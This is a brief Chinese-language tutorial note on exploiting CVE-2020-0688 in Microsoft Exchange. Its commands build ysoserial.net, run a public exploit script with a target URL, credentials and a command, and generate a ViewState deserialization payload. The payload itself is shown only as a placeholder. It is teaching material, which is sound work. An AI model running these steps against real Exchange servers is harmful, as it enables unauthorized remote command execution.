【笔记】CVE-2020-0688漏洞利用

前言

利用pwntester/ysoserial.netRidter/cve-2020-0688实现Exchange命令执行漏洞利用

编译ysoserial.net

下载项目

1
2
git clone https://github.com/pwntester/ysoserial.net.git
cd ysoserial.net

下载依赖

Choco

1
choco install nuget.commandline

Winget

1
winget install Microsoft.NuGet

编译项目

1
2
nuget restore ysoserial.sln
msbuild ysoserial.sln -p:Configuration=Release
  • 得到ysoserial\bin\Release\ysoserial.exe可执行文件

CVE-2020-0688漏洞利用

下载项目

1
2
git clone https://github.com/Ridter/cve-2020-0688.git
cd cve-2020-0688

下载依赖

1
pip3 install -r requirements.txt

漏洞利用

-s <url>:指定Exchange访问URL
-u <username>@<domain>:Exchange登录用户名
-p <password>:Exchange登录密码
-c "<cmd>":指定远程执行的CMD命令

1
python3 cve-2020-0688.py -s <url> -u <username>@<domain> -p <password> -c "<cmd>"
  • 得到C#序列化操作的ysoserial命令
1
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "<cmd>" --validationalg="SHA1" --validationkey="" --generator="" --viewstateuserkey="" --isdebug -islegacy
  • 在另一个命令行中执行上一步骤生成ysoserial命令,得到C#序列化数据,作为payload
1
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "<cmd>" --validationalg="SHA1" --validationkey="" --generator="" --viewstateuserkey="" --isdebug -islegacy
1
XXXXXX
  • 将payload粘贴在第一个命令的输入中,继续执行
1
please write your ysoserial generate payload: XXXXXX

完成